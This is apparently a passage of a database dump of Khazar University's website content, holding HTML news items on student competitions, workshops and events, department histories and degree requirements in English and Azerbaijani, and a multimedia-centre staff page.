Held</h2><div><p style=\"text-align:justify\">The 2nd National Spaghetti Bridge Competition was held in\r\nKhazar University on December 24, 2015, by the Civil Engineering Department.\r\nKhazar University’s Rector, Professor Hasan Niknafs, and Vice President for\r\nAcademic Affairs, Professor Mahammad Nuriev, participated in the\r\ncompetition.&nbsp;<br>\r\nFour student groups from Khazar University and Azerbaijan State University of\r\nOil and Industry competed against each other. Their authentic bridges had been\r\naccepted by the judging committee the day before competition.<br>\r\nThe maximum loading capacity of bridges was measured by loading them till their\r\nbreaking point. The winner was selected based on the ratio of the maximum load\r\nthat each bridge carried to the weight of the bridge. The winner bridge was\r\nHope from Khazar University with a ratio of 43.</p>  <br></div><p><img src=\"/files/image/15_12_28_IMG_3848.JPG\" style=\"border:0px #000000;width:200px;height:133px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"/files/image/untitled%20folder/2.JPG\" style=\"border:0px  #000000;width:195px;height:133px;margin:7px;float:left\"><img src=\"/files/image/15_12_28_IMG_9704.JPG\" style=\"border:0px #000000;width:199px;height:133px;margin-left:7px;margin-top:7px;margin-bottom:7px;vertical-align:baseline\"><br></p><br><hr><h2 style=\"color:#990033\">First Robotics Competition at Khazar University</h2>\r\n<p style=\"text-align:justify\">On December 18, 2015, a Robotics Competition took place at\r\nKhazar University among School of Engineering students. There was a total of\r\nsix teams, with two members in each team. Teams competed in five different\r\ncategories. The Robot Battle category was the most captivating for the\r\naudience. All categories were evaluated by a panel of judges. Referees were\r\ninvited from engineering industry leaders and universities, including BP,\r\nSOCAR, Azerbaijan Technical University and Qafqaz University. The winning teams\r\nwere awarded trophies, certificates and gifts from engineering companies\r\nincluding Emerson, Sigma, and Schneider Electric as well as from Khazar\r\nUniversity. Students were most motivated by the special grants from ABB\r\nCompany, which awarded them a week of free participation in the Technical\r\nSeminar of Automation in ABB Learning Centre.</p>\r\n<p>Also see the following video:&nbsp;<strong><a href=\"https://www.youtube.com/watch?v=X8ryG7Sw2Vk\">https://www.youtube.com/watch?v=X8ryG7Sw2Vk</a>&nbsp;</strong></p>\r\n<p>The winning teams were as follows:</p>\r\n<br><ul><li>Overall 1st Place -- Challengers&nbsp;</li><li>Overall 2nd Place -- Future Tech Guys (FTG)</li><li>Overall 3rd Place -- Team “Unknown”</li></ul><br>\r\n  <p><img src=\"/files/image/15_12_21_DSC_8418.JPG\" style=\"width:200px;height:132px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"/files/image/15_12_21_DSC_8398.JPG\" style=\"margin:7px;width:200px;height:132px\"><img src=\"/files/image/15_12_21_DSC_8445.JPG\" style=\"width:200px;height:132px;margin:7px;float:left\"><br></p><p><img src=\"/files/image/15_12_21_DSC_8364.JPG\" style=\"border:0px  #000000;width:200px;height:132px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"/files/image/15_12_21_DSC_8309%20(1).JPG\" style=\"border:0px  #000000;float:left;width:200px;height:132px;margin-right:7px;margin-bottom:7px;margin-left:7px\"><img src=\"/files/image/untitled%20folder/15_12_21_DSC_8506.JPG\" style=\"border:0px  #000000;width:200px;height:132px;margin-left:7px;margin-bottom:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><br><hr><h2 style=\"color:#990033\">Robotics Workshop</h2>\r\n<p>On December 3, a Robotics Workshop was held at Khazar\r\nUniversity. It was organized by the Computer Science Department.&nbsp; The main\r\ngoal of this workshop was to give brief information about robotic technologies\r\nand their programming.</p>\r\n<p>&nbsp;The event included a one-day workshop with three\r\nparts. The workshop covered various aspects of Robotics. Training was presented\r\nby Professor Hamid D. Taghirad, Babak Sistani and Mohammad Farahi from K. N.\r\nToosi University of Technology of Iran.</p>\r\n<p style=\"text-align:justify\">The first session covered the work of ARAS robotic group (an\r\nIranian institution in the field of Robotics &amp; Automation) and its\r\nmissions. The second topic was an introduction to Robot Operating System (ROS),\r\na ‘meta’ operating system and a set of software libraries and tools that help\r\nbuild robot applications. The final session was an introduction to Haptic\r\ntechnology, which is the science of touch. The presentation explained various\r\ntypes of haptic devices and classified them based on their structures, such as\r\nInertial measurement unit (IMU), differential potentiometer, strain sensor, and\r\nimage processing.</p><p style=\"text-align:justify\"> Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, also\r\nparticipated in the event.&nbsp;</p><div>  <br></div><div><img src=\"/files/image/15_12_08_DSC_0011.JPG\" style=\"margin:7px;float:left;width:350px;height:231px\"><img src=\"/files/image/15_12_08_DSC_7656.JPG\" style=\"width:350px;height:231px;margin:7px\"><br>  <br><hr><p><br><br></p>  </div>'),(486,254,'en','Mission','Mission','<p style=\"font-family:\'times new roman\', times, serif\">The School of Economics and Management shall, by means of\r\nresearch and education, contribute to the development and application of\r\nknowledge. Through research-based education, we shall prepare students to\r\ncontribute to resolving global challenges.</p>\r\n<p>The mission of the School of Economics and Management is to\r\ncontribute to the development and transfer of knowledge in all major fields of\r\neconomics and business administration. The School tries to accomplish this\r\nmission by performing fundamental and applied research, and by providing\r\nresearch-based initial and post-graduate educational programs in business and\r\neconomics. The policy of the School is based on the conviction that strength\r\nbreeds strength, and that an organization can only reach excellence if it\r\nconsistently aims at attaining the highest level of quality in all of its\r\nactivities.&nbsp;</p>'),(487,320,'az','Tarixi','Tarixi','<p style=\"font-family:arial, helvetica, sans-serif\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycan dili və ədəbiyyat Departamenti 1995-ci ilin May\r\nayında yaradılmış və hal-hazırda Xəzər Universiteti&nbsp; fakültələrinin tələbələri\r\nüçün Azərbaycan dili və ədəbiyyat üzrə bakalavr və magistr dərəcəsi və bu iki\r\nsahələrdə fənlər təklif edilib.</p>\r\n<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2006-cı ildən Azərbaycan dili və ədəbiyyatı adlı bakalavr dərəcə\r\nproqramı, 2009-cu ildən isə Azərbaycan dili və ədəbiyyatı müəllimliyi bakalavr\r\ndərəcə proqramı təklif olunur.</p>'),(488,320,'en','History','History','<div><br></div><div><p>History&nbsp;<br></p><p>The Department of Azerbaijani Language and Literature was established in May 1995 and currently offers undergraduate and graduate degrees in Azerbaijani Language and Azerbaijani Literature and specific courses in these two fields for students from various schools at the Khazar University.</p><p>In 2006, an undergraduate degree program in Azerbaijani Language and Literature was offered, followed in 2009 by a new undergraduate degree program in Azerbaijani Language and Literature Education.&nbsp;</p>  <br></div>'),(489,321,'az','Proqramlar','Proqramlar','<p><strong>Xəzər\r\nUniversitetinin Azərbaycan dili və ədəbiyyat departamenti bakalavr və magistr səviyyələrində\r\ntəhsil təklif edir.</strong></p><p>Bakalavr proqramını bitirdikdən sonra tələbələr fəaliyyətini&nbsp;iki istiqamətdən birini seçməklə&nbsp;- tədqiqatçı və müəllim kimi davam etdirə bilər.</p>\r\n<p>Azərbaycan dili və ədəbiyyat deparatamentinin, bakalavr\r\nproqramı üzrə məqsədi tələbələrin ədəbiyyat və dil üzrə biliklərini təcrübədə\r\ninkişaf etdirməkdir.</p>\r\n<p>Xəzər Universitetinin digər departamentləri kimi&nbsp;Azərbaycan\r\ndili və ədəbiyyat&nbsp; departamentinin bakalavr və magistr proqramları tələb\r\nolunan və seçmə fənnlərdən ibarətdir. Seçmə fənnlər&nbsp;tələbələrin dil və ədəbiyyatın\r\nmüxtəlif aspektlərini daha dərindən öyrənməsinə kömək edir, zəruri tədqiqat\r\nbacarıqlarını və tənqidi təfəkkürünü inkişaf etdirir.</p>\r\n<p>Magistr proqramı məzunları 3 sahədən&nbsp;birini&nbsp;davam&nbsp;etdirə bilər: Ümumi dilçilik, ədəbiyyat və türkologiya.&nbsp;Departamentin&nbsp;rəhbərliyi altında magistr tələbələr fərdi tədqiqat\r\nişi aparırlar. Departamentin geniş araşdırma sahələrinə&nbsp;Ümumi dilçilik,\r\nAzərbaycan dili, Azərbaycan ədəbiyyatı,&nbsp;Türkologiya&nbsp;və s. daxildir.</p>\r\n<p>Bakalavr dərəcəsi diplomu tələb olunan kreditləri əldə edən\r\nvə dərslərin düzgün bölüşdürülməsi şərtlərini yerinə yetirən tələbələrə\r\nverilir. Tələbələr əsas tələblərə aid 39 kredit daxil olmaqla ən azı 132 kredit\r\ntoplamalıdırlar.</p>\r\n<div><strong><br></strong></div><p><strong>Bakalavr\r\npilləsindəki hər bir tələbə aşağıda qeyd olunan fənnlər blokunun tələblərini\r\nyerinə yetirərək universitetdən məzun ola bilər:</strong></p>\r\n<ul><li>Univеrsitet tələbləri (UT)</li><li>Ümumtəhsil tələbləri (ÜTT)</li><li>İxtisаs tələbləri (İT)</li></ul><div><strong>&nbsp;</strong></div><p><strong>Universitet\r\ntələblərinə ümumi sayı&nbsp;27 kredit olan iki əsas komponent&nbsp;- İngilis dili və\r\nAzərbaycanşünaslıq daxildir.</strong></p>\r\n<p>İngilis dilindən&nbsp;tələb оlunаn 15 krеdit аşаğıdаkı fənnlərdən\r\nimtahan vеrməklə tоplаnır:</p>\r\n<p></p><ul><li>İngilis dili/Оxu&nbsp;-1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3&nbsp;krеdit</li><li>İngilis dili/Yаzı&nbsp;-1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3&nbsp;krеdit</li><li>İngilis\r\ndili/Оxu&nbsp;-2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;3&nbsp;krеdit</li><li>İngilis\r\ndili/Yаzı&nbsp;-2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3&nbsp;krеdit</li><li>İxtisаsа&nbsp;uyğun İngilis dili&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; 3&nbsp;krеdit&nbsp;</li></ul><p></p>\r\n<div><strong><br></strong></div><p><strong>Аzərbаycаnşünаslıq\r\nüzrə&nbsp;tələb оlunаn 12 krеdit аşаğıdаkı fənlərdən imtahan vеrməklə tоplаnır:</strong></p>\r\n<p></p><ul><li>Аzərbаycаn\r\ndili&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;3&nbsp;krеdit</li><li>Аzərbаycаn ədəbiyyаtı&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;3&nbsp;krеdit</li><li>Аzərbаycаn mədəniyyəti&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3&nbsp;krеdit</li><li>Аzərbаycаn\r\ntаrixi&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3&nbsp;krеdit&nbsp;&nbsp;</li></ul><p></p>\r\n<p><strong><br></strong></p><p><strong>Ümumtəhsil tələbləri (ÜTT)</strong></p>\r\n<p>Tələbələr 21 krеditdən ibаrət&nbsp;оlаn ÜTT tələblərini\r\nödə­mə­lidirlər:</p>\r\n<ul><li>Humаnitаr еlmlər&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</li><li>Sоsiаl еlmlər&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</li><li>Tеxnоlоgiyа və təbiət еlmləri&nbsp; &nbsp;</li></ul><p>Humanitar elmlər&nbsp;qrupuna ədəbiyyat, dil və dilçilik,\r\nfəlsəfə, mədəniyyət və sivilizasiya, incəsənət və incəsənət tarixi fənnləri\r\ndaxildir. Bu bölmədən tələbələr ən azı 12 kredit, yəni hərəsi 6 kredit olan 2 fənn\r\ngötürməlidirlər.</p>\r\n<p>Sosial elmlər&nbsp;qrupuna coğrafiya, siyasi elmlər, beynəlxalq\r\nəlaqələr, qanun və dövlət, antropologiya, iqtisadiyyat, sosiologiya və\r\npsixologiya fənnləri daxildir.&nbsp; Bu bölmədən tələbələr ən azı 12 kredit, yəni\r\nhərəsi 6 kredit olan 2 fənn götürməlidirlər.</p>\r\n<div><strong><br></strong></div><p><strong>Texnologiya\r\nvə təbiət elmləri&nbsp;ümumitəhsil proqramının bir hissəsi kimi üç sahəni özündə\r\nbirləşdirir:</strong></p>\r\n<ul><li>Fiziki еlmlər və&nbsp;riyaziyyat</li><li>Həyat haqqında elmlər</li><li>Kompüter elmləri</li></ul><p>və Riyaziyyat, Kompüter Elmləri, Fizika, Kimya,\r\nAstronomiya, Coğrafiya və Ətraf Mühit Tədqiqatlar, Geologiya, Bioloji Elmlər və\r\nAntropologiya, Tibb elmləri fənnləri.</p>\r\n<p>Bu bölmə üzrə tələbələr ən аzı üç fənn götürməlidirlər. Hər\r\nаlt bölmədən bir fənn götürməklə 9 krеdit, yəni hər bölmədən 3 krеdit\r\ntоplаnılmаlıdır.</p>\r\n<p><br></p><p>Əsas tələblər iki qrupa bölünür:&nbsp;</p><p>Tələb olunan və Seçmə fənnlər.</p>\r\n<p><strong>Seçmə fənnlər:</strong> tələbələr minimum 6 kreditli iki əlavə fənn\r\ngötürməlidir. Bu fənnlər heç bir məhdudiyyət olmadan hər hansı ixtisas və ya\r\nqeyri-ixtisas bölmələrdən götürülə bilər.</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Azerbaycan_dili_ve_edebiyyat_bakalavr_proqram%C4%B1.pdf\">Azərbaycan dili və ədəbiyyat bakalavr proqramı</a></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Azerbaycan_dili_ve_edebiyyat%C4%B1_muellimliyi_bakalavr_proqram%C4%B1.pdf\">Azərbaycan dili və ədəbiyyatı müəllimliyi bakalavr\r\nproqramı</a></p>\r\n<p><strong><span style=\"line-height:107%;font-family:Arial, sans-serif\"><br></span></strong></p><p><strong><span style=\"line-height:107%;font-family:Arial, sans-serif\">Magistr\r\nproqramı</span></strong></p><p>Departamentin&nbsp; rəhbərliyi altında magistr tələbələr fərdi tədqiqat işi aparırlar. Department 3 sahə üzrə magistr proqramı təklif edir:</p><ul><li>Ümumi dilçilik</li><li>Azərbaycan dili</li><li>Azərbaycan ədəbiyyatı</li></ul><p><a href=\"http://www.khazar.org/files/pdf/Azerbaycan_dili_uzre_magistr_proqram%C4%B1.pdf\">Azərbaycan dili üzrə magistr proqramı</a></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Azerbaycan_edebiyyat%C4%B1_uzre_magistr_proqram%C4%B1.pdf\">Azərbaycan ədəbiyyatı üzrə magistr proqramı</a></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/umumi_dilcilik_uzre_magistr_proqram%C4%B1.pdf\">Ümumi dilçilik üzrə magistr proqramı</a></p>'),(4738,2809,'en','7-8 April International 5th Psychology Conference','7-8 April International 5th Psychology Conference','<img src=\"http://www.khazar.org/uploads/articles/o_1c5b7mqj012udqbs1k5311mo15kka.jpg\" style=\"width:600px;height:845px;vertical-align:baseline\">'),(4699,2788,'az','“Azərbaycan arxeologiyası” jurnalının yeni sayı çapdan çıxdı','Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının növbəti sayı...','<p>Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının növbəti sayı (Cild:20, Say:2, 2017) çapdan çıxmışdır. Bu sayda xüsusi ilə tunc dövrünə geniş yer verilmişdir. Tunc dövrünün silahları, hərb işinin tarixşünaslığı, Kür hövzəsinin məskunlaşmasının təbii-coğrafi şəraitinə aid məqalələr vardır. Məqalələr həm elmi nəzəri cəhətdən, həm də əməli cəhətdən aktuallığı ilə seçilir.</p>'),(2418,1458,'en','Student Union Holds II Independence Day Knowledge Bowl','On October 18, 2016, the Khazar University Student Union held its second annual Knowledge Bowl for October 18- Independence Day of the Azerbaijan Republic...','<p>On October 18,\r\n2016, the Khazar University Student Union held its second annual Knowledge Bowl\r\nfor October 18- Independence Day of the Azerbaijan Republic. The competition\r\ntook place among 16 teams totaling 48 participants, including international\r\nstudents. Two teams of international students worked hard and made it to the\r\nsemifinal round. The competition consisted of 3 rounds. In the final round, 4\r\nteams competed for 3 places. The results are as follows: </p>\r\n<p>1. <strong><em>“Carpe-Diem”</em></strong>\r\n(School of Engineering and Applied Sciences);</p>\r\n<p>2. <strong><em>“Three\r\nLegends”</em></strong> (School of Humanities and Social Sciences);</p>\r\n<p>3. <strong><em>“Gold\r\nTeeth”</em></strong> (School of Humanities and Social Sciences);</p>\r\n<p>4. <strong><em>“Burger”</em></strong>\r\n(School of Engineering and Applied Sciences).</p>\r\n<p>&nbsp;</p>\r\n<p>Participants\r\nwill be given certificates and valuable gifts by the university administration.\r\n</p>\r\n<p>&nbsp;</p>'),(2621,1575,'en','Türkan Şoray in Baku ','On November 17, 2016, famous actress Türkan Şoray visited Azerbaijan upon the invitation of Khazar University. Along with the actress, famous...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On November 17, 2016, famous\r\nactress Türkan Şoray visited Azerbaijan upon\r\nthe invitation of Khazar University. Along with the actress, famous French\r\ndirector, actor and screenwriter Robert Hossein also visited Azerbaijan’s\r\ncapital. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">They were inducted as members into Eurasian Academy and were\r\ngiven the Eurasian Legend award. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">We note that Türkan Şoray is the first woman to be elected as\r\na member of Eurasian Academy and to receive the Eurasian Legend award. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">This event was reported broadly in the media: </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://www.adalet.az/w113617/Türkan_Şoray_Bakıdadır/\">http://www.adalet.az/w113617/Türkan_Şoray_Bakıdadır/</a>;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://yenicag.az/turkan-soray-bakidadir/\">http://yenicag.az/turkan-soray-bakidadir/</a>;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://www.qafqazinfo.az/sou-20/turkan-soray-bakida-avrasiya-efsanesi-secildi-166897\">http://www.qafqazinfo.az/sou-20/turkan-soray-bakida-avrasiya-efsanesi-secildi-166897</a>;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a href=\"http://aktual.az/turkan-soray-bakida-foto/\">http://aktual.az/turkan-soray-bakida-foto/</a>.</p>'),(2256,1372,'en',' Graduation Ceremony for Management Training Course for Potential School Directors at Khazar University','The fourth iteration of the Management Training Course for Potential School Directors at Khazar University began on April 2nd and ended on June 30th...','<p>The\r\nfourth iteration of the Management Training Course for Potential School\r\nDirectors at Khazar University began on April 2nd and ended on June 30th. On\r\nSeptember 30th, a graduation ceremony was held to award certificates to\r\nparticipants who successfully completed the course. The fifth iteration of the\r\ncourse is now underway with new participants. </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\nmain objective of the course is to increase the knowledge and skills of school\r\ndirectors and educational workers interested in working as school directors in\r\nthe future in accordance with the new education strategy and the educational\r\nreforms of the country. Classes took place 4 days a week for 12 weeks with a\r\ntotal of 16 hours a week. Subjects were taught by Raziya Isayeva, the\r\nuniversity’s Development Center Director (Educational Administration); Elza\r\nSemedli, Dean of the School of Education (Curriculum Application and\r\nManagement); Dr. Nuru Safarov, Head of the Department of Electronics,\r\nTelecommunications and Radio Engineering (Information/Communication Technologies);\r\nand Khazar University instructors Akif Alizade (Education Law), Elkhan Beylerov\r\n(Psychometrics), Melek Karimova (Education Psychology), Vusal Mammadrzayev\r\n(Statistics) and Aynur Mammadrzayeva (Finance). </p>\r\n<p>&nbsp;</p>\r\n<p>During\r\nthe course, a “Guest Lecture Seminar” series was held for participants in the\r\nuniversity’s Marble Hall. Professor Hamlet Isaxanli, Founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, gave a lecture\r\non the topic of “Educational Administration: from Theory to Practice.” Rima\r\nMammadova, the project manager of ESFIDIP, spoke about “360 Degree Interaction\r\nwith Students with Disabilities,” and Mahabbat Valiyeva, Chair of the Baku City\r\nBoard of Education, spoke about “Qualities and Skills that General School Directors\r\nare Expected to Have.” </p>\r\n<p>&nbsp;</p>\r\n<p>The\r\ncourse’s classroom sessions included presentations for the participants,\r\ndiscussions, and conversations over tea. The participants stated that the\r\ncourse was very significant for them and that they had been able to apply theoretical\r\nand practical knowledge gained through the course.</p>\r\n<p>&nbsp;</p>\r\n<p>H.\r\nIsaxanli opened the graduation ceremony with a speech about the significance of\r\nthis course at Khazar University and the challenges remaining for school\r\ndirectors. Tunzala Zeynalova, a graduate of the first iteration of the course\r\nwho has been working as the director of School no. 283 in the Binagadi District\r\nof Baku for two years, made a speech about the role this course played in her\r\ncareer. </p>\r\n<p>&nbsp;</p>\r\n<p>Then\r\ncertificates were awarded to the 54 graduates of the course in two groups. The\r\ncertificates were handed out by H. Isaxanli; Associate Professor Jabir\r\nKhalilov, Dean of the School of Humanities and Social Sciences; R. Isayeva; E.\r\nSemedli; N. Safarov and participating instructors. After the certificates were\r\npresented, the graduates took a vow: </p>\r\n<p>“I\r\nswear to uphold the laws and constitution of the Azerbaijan Republic as I\r\nremain faithful to traditions of Azerbaijani education; to provide quality\r\neducation; never to allow unethical behavior in any way during the time of my\r\nprofessional service; to base my relationships with my colleagues, students,\r\nparents and others on respect, honor and dignity; and to preserve the name and\r\nthe honor of the educational profession!” </p>\r\n<p>&nbsp;</p>\r\n<p>Then\r\nthe audience watched slide shows for each group of graduates that had been made\r\nunder the leadership of Natella Barkaya, Director of the Multimedia Center, to\r\nshow their progression through the course. </p>\r\n<p>&nbsp;</p>\r\n<p>On\r\nbehalf of the graduates, Sevda Alishova and Fargana Aliyeva made speeches to\r\nthank R. Isayeva, E. Semedova and the other course organizers. Group photos\r\nwere taken. </p>\r\n<p>&nbsp;</p>\r\n<p>Then\r\na concert was performed under the leadership of Zulfiyya Sadigova, head of the\r\nKhazar University Department of Music and Fine Arts, including performances of\r\nthe university’s Chamber Orchestra and the Yalli Student Dance Ensemble.\r\nMeritorious Artist Farid Aliyev, Khazar University instructor and soloist of\r\nthe Opera and Ballet Theater, also performed various songs.&nbsp;</p>'),(2257,1373,'en','Staff','Staff','<p><strong>Director:</strong></p><p><img src=\"/files/multimedia/DSC_0078.jpg\" style=\"width:600px;height:397px;margin:7px;vertical-align:middle\"><br></p><p><br></p><p style=\"font-size:xx-large\"><strong style=\"text-align:center\"><a href=\"https://www.facebook.com/profile.php?id=100012158683632\" target=\"_blank\">Natella Barkaya</a></strong></p><p><strong><br></strong></p><p><br></p><p><strong><br></strong></p><p style=\"text-align:right;font-size:xx-large\"><strong>Volunteer students:</strong></p><p><br></p><p><em><strong><br></strong></em></p><p><img src=\"/files/multimedia/Azer.jpg\" style=\"width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p><br></p><p style=\"text-align:right\"><a href=\"https://www.facebook.com/azer.mustafayev2\">Azer Mustafazade</a></p><p style=\"text-align:right\">(<a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">School of Engineering and Applied Sciences</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" class=\"elrte-media elrte-media-x-shockwave-flash elrte-protected\" title=\"/files/multimedia/DSC_0050.JPG\" rel=\"media6850735772274934\" width=\"150\" height=\"100\" ..=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><img src=\"/files/multimedia/Rufatlast.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" class=\"elrte-media elrte-media-x-shockwave-flash elrte-protected\" title=\"/files/multimedia/DSC_0050.JPG\" rel=\"media6850735772274934\" width=\"150\" height=\"100\" ..=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><br></p><p><br></p><strong><a href=\"https://www.facebook.com/rufatgasimzade\" style=\"font-size:large\">Rufat Gasimzadeh</a></strong><div><br></div><div><strong><a href=\"https://www.facebook.com/rufatgasimzade\" style=\"font-size:large\"></a></strong><a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">School of Engineering and Applied Sciences</a>)<div style=\"text-align:left\"><p><span style=\"background-color:#eeeeee\"></span></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p>\r\n<p><img src=\"http://www.khazar.org/files/multimedia/lamiya123.jpg\" style=\"border:0px #000000;width:400px;height:268px;margin:7px;float:right\"></p><p><br></p><p><br></p><p><br></p><embed src=\"/files/multimedia/Elvin.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\" href=\"https://www.instagram.com/elvin__karimov/\" target=\"_blank\" class=\"elrte-media elrte-media-x-shockwave-flash elrte-protected\" title=\"/files/multimedia/DSC_0050.JPG\" rel=\"media6850735772274934\" width=\"150\" height=\"100\" type=\"application/x-shockwave-flash\">\"&gt;Lamiya Piriyeva</p><div style=\"text-align:right;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education)</a></div><p style=\"text-align:right;background:undefined\">(<a href=\"https://www.facebook.com/piriyevalamiya\">facebook</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/sevinc.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p style=\"text-align:left\">Sevinj Hasanova</p><p style=\"text-align:left\">(<a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities and Social Sciences</a>)</p><p><br></p><p><br></p><p><br></p>\r\n<p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Saadatlast.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p style=\"text-align:right\">Saadat Sovzaliyeva</p><p style=\"text-align:right\">(<a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a>)  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/ismet.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"></p><p><br></p><p><br></p>Ismat Mammadova<br>(<a href=\"http://www.khazar.org/en/menus/56/school_of_humanities_and_social_sciences\">School of Humanities and Social Sciences</a>)&nbsp;<br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><img src=\"/files/multimedia/Sebnem.jpg\" style=\"width:400px;height:268px;margin:7px;float:right\"><p style=\"text-align:right;background:undefined\"><br></p><p style=\"text-align:right;background:undefined\"><br></p><p style=\"text-align:right;background:undefined\">Shabnam Rustamli</p><p style=\"text-align:right;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/55/school_of_education\">School of Education</a>)  <br></p>\r\n<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Emillast.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p style=\"text-align:left;background:undefined\">Emil Jafarov</p><p style=\"text-align:left;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a>)&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/vurgun.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p><br></p><p style=\"text-align:right;background:undefined\">Vurghun Yusubov</p><p style=\"text-align:right;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">School of Engineering and Applied Sciences</a>)</p><p style=\"text-align:right;background:undefined\">(<a href=\"https://www.facebook.com/vurghun\">facebook</a>) ; (<a href=\"https://www.instagram.com/vurghunn/\">instagram</a>)&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Tagi.jpg\" style=\"width:400px;height:268px;float:left\"><br></p><p><br></p><p style=\"text-align:left;background:undefined\">Taghi Mammadov&nbsp;</p><p style=\"text-align:left;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/54/school_of_economics_and_management\">School of Economics and Management</a>)</p><div><br></div><p><br></p>\r\n<p><br></p><p><br></p><p><img src=\"/files/multimedia/Afruz.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p><br></p><p style=\"text-align:right;background:undefined\">Afruz Gafarli</p><p style=\"text-align:right;background:undefined\">(<a href=\"http://www.khazar.org/en/menus/47/school_of_engineering_and_applied_sciences\">School of Engineering and Applied Sciences</a>)&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Ziyadxan.jpg\" style=\"float:left;width:400px;height:268px;margin:7px\"></p><p>&nbsp; <br></p><p><br></p><p style=\"background:undefined\">Ziyadkhan Taghiyev</p><p style=\"background:undefined\">(<a 